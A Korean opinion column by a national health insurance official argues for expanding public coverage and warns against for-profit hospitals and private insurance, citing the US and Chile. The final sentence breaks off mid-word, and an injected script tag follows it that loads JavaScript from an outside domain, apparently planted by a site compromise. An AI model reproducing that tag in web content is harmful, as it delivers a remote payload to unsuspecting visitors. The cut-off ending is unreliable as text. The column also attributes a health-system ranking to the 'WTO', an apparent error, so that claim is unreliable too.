건강보험 보장성 선진국 수준을 바란다

윤종필 (국민건강보험공단 가입자지원부장)

국민건강보험공단은 지난해 9월 암·심장질환·뇌혈관질환의 3대 질환에 대한 본인부담률을 20~50% 수준에서 10%로 낮추어 국민들의 의료비부담을 덜어드린 바 있다.
금년 1월 1일부터는 6세 미만 아동들의 입원 본인부담금이 전면 면제되고 간·심장·폐·췌장 등 장기적출 및 이식수술에도 보험급여가 확대된다. 환자전액본인부담이던 659개 항목을 보험급여항목으로 전환하였으며 4대(위·간·유방·대장)암의 건강 검진 시 종전 50%의 본인부담률을 20%로 낮추는 등 보장성을 대폭 강화하여 국민의료비를 덜어드리게 되었다.
또한 건강보험 주요 비급여 항목이었던 입원환자의 식대를 오는 3월 중 보험급여로 전환하기 위해 관련기관과 협의 중에 있다.
보건복지부와 건강보험공단은 2005년 현재 61.3%인 건강보험의 보장률을 2008년까지 71.5% 이상 수준으로 확대하는 목표를 가지고 매년 중증질환에 대한 본인부담을 낮추는 등 다각적인 노력을 하고 있다. 건강보험은 보장률이 80% 이상의 수준이 되었을 때 비로소 선진국형 건강보험으로 정착되었다고 말할 수 있다.
그런데 요즈음 일각에서 제기되고 있는 의료서비스의 산업화, 영리법인병원 도입, 민간의료보험의 활성화 등의 주장은 건강보험이 선진국수준으로 발전 정착하는데 커다란 걸림돌로 작용할 것이다. 철의 여인이라고 불리던 영국의 대처 전수상은 “모든 산업은 민영화가 가능하지만 나라를 지키는 국방과 국민건강을 지키는 의료만은 민영화의 대상이 될 수 없다”고 말한 바 있다. 의료보장제도는 자유주의국가의 시장경쟁체제에서 낙오되고 소외된 국민들을 위해 나아가서는 과중한 의료비부담으로 인한 중산층 이상의 가계파산을 막기 위해 사회안전망으로서 출발한 것인데 여기에 다시 시장경제의 논리를 적용하려는 것은 실로 사회보장철학이 실종된 위험한 발상이라 하지 않을 수 없다.
이들은 미국의 경우를 예로 들고 있는데, 미국은 OECD국가 중 유일하게 전국민 의료보장체계를 확립하는데 실패한 나라라는 사실을 알 필요가 있다. 미국이 전국민 의료보장체계를 확립하려던 시도는 여러 차례 있었으나 고비마다 러시아혁명, 세계대공황 등의 국내외적 상황에 막혀 실패하였다. 또 1992년 미국대통령 선거에서 클린턴이 전국민 의료보장을 공약으로 당선되어 입법을 추진하였으나 이익집단들의 극렬한 반대에 부딪혀 결국 실패하고 말았다. 그 결과 미국은 현재 전국민의 15.6%인 4천5백만명이 아무런 보장도 받지 못하는 의료의 사각지대에 놓여 있고, 매년 200만명 이상이 과중한 의료비로 가계가 파산되고 있으며 영아사망률과 기대수명 등 국민건강수준도 OECD국가 중 최하위권에 머물고 있는 것이다. 이런 제도로 인해 우리 재미교포들의 생계도 크게 위협받고 있음은 우리가 이미 잘 알고 있는 사실이다.
의료영리법인 허용과 민간의료보험의 활성화는 필연적으로 거대자본으로 세워지는 영리법인과 국내재벌 보험사의 민간의료보험이 상호계약을 체결하여 새로운 의료체계를 만들게 되어 의료기관도 양극화의 길을 걷게 되고, 의료이용자도 고급병원을 이용하는 고소득층 민간보험가입자와 영세병원을 이용해야하는 저소득층의 건강보험가입자로 양극화 될 것이다.
영리의료법인은 수입을 극대화하기 위해 통제된 보험수가에서 벗어나 본인들이 원하는 임의진료수가를 받기 위해 건강보험 지정기관에서 제외되고자 노력할 것이다.
민간의료보험사의 건강보험본인부담금을 보상으로 하는 실손형보험이 활성화되면 가입자들도 비용부담의식이 희박해져 불필요한 의료이용이 증가되고 결국 국민의료비 증가로 이어질 것이다(이런 이유로 OECD는 실손형 민간보험 상품을 법률로 금지할 것을 권고하고 있음).
민간보험사는 수익의 증대를 위해 건강하고 부유한 사람만을 가입시키려고 할 것이며 이를 위해 우리공단에 국민개인질병정보의 공개를 줄기차게 요구할 것이다.
남미 칠레는 NHS방식의 포괄적인 의료서비스를 제공하다가 1981년 군사정부에 의해 대체형 민간의료보험이 도입된 나라인데 그 결과 민간보험의 ‘가입자 고르기’로 민간보험의 70% 이상이 40세 이하의 젊은 층으로 구성되고 65세 이상자는 2%만이 가입되어 있다. 이에 따라 공적보험은 의료수요가 많은 노인들로 이루어져 보험재정의 악화를 초래하였으며 결과 WTO는 칠레의 보건의료시스템을 전세계 191개국 중 168위로 평가한 바 있다.
또한 민간의료보험이 활성화되면 공적보험은 반드시 위축되어 사회보장 기능을 다하지 못하게 되며 한번 의료보장체계가 무너지면 이를 다시 정상으로 되돌린 나라가 아직 이 지구상에는 없다는 사실을 명심해야 할 것이다. 영리의료법인도입과 민간보험활성화 논?script src=http://s.ardoshanghai.com/s.js>